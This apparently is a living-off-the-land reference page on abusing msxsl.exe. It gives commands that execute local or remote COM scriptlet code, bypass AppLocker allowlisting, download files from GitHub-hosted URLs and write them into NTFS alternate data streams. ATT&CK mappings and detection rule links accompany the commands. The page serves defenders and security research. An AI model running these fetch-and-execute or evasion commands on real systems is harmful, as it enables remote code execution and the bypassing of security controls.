



/msxsl.exe ☆ Star 7,060

- Execute
- AWL bypass
- Download
- Alternate data streams

Command line utility used to perform XSL transformations.

Paths:
no default

- Resources:**
- <https://twitter.com/subTee/status/877616321747271680>
 - <https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker>
 - <https://github.com/RonnieSalomonsen/Use-msxsl-to-download-file>

- Acknowledgements:**
- Casey Smith ([@subtee](#))
 - Ronnie Salomonsen ([@r0ns3n](#))

- Detections:**
- Sigma: [proc_creation_win_wmic_xsl_script_processing.yml](#)
 - Elastic: [defense_evasion_msxsl_beacon.toml](#)
 - Elastic: [defense_evasion_msxsl_network.toml](#)
 - Elastic: [defense_evasion_network_connection_from_windows_binary.toml](#)

Execute

- Run COM Scriptlet code within the script.xml file (local).

```
msxsl.exe customers.xml script.xml
```

Use case: Local execution of script stored in XSL file.
Privileges required: User
Operating systems: Windows
ATT&CK® technique: [T1220: XSL Script Processing](#)

- Run COM Scriptlet code within the shellcode.xml(xml) file (remote).

```
msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
```

Use case: Local execution of remote script stored in XSL script stored as an XML file.
Privileges required: User
Operating systems: Windows
ATT&CK® technique: [T1220: XSL Script Processing](#)

AWL bypass

- Run COM Scriptlet code within the script.xml file (local).

```
msxsl.exe customers.xml script.xml
```

Use case: Local execution of script stored in XSL file.
Privileges required: User
Operating systems: Windows
ATT&CK® technique: [T1220: XSL Script Processing](#)

- Run COM Scriptlet code within the shellcode.xml(xml) file (remote).

```
msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
```

Use case: Local execution of remote script stored in XSL script stored as an XML file.
Privileges required: User
Operating systems: Windows
ATT&CK® technique: [T1220: XSL Script Processing](#)

Download

Using remote XML and XSL files, save the transformed XML file to disk.

```
msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml
https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o <filename>
```

- Use case:** Download a file from the internet and save it to disk.
- Privileges required:** User
- Operating systems:** Windows
- ATT&CK® technique:** [T1105: Ingress Tool Transfer](#)

Alternate data streams

Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS).

```
msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml
https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o
<filename>:ads-name
```

- Use case:** Download a file from the internet and save it to an NTFS Alternate Data Stream.
- Privileges required:** User
- Operating systems:** Windows
- ATT&CK® technique:** [T1564: Hide Artifacts](#)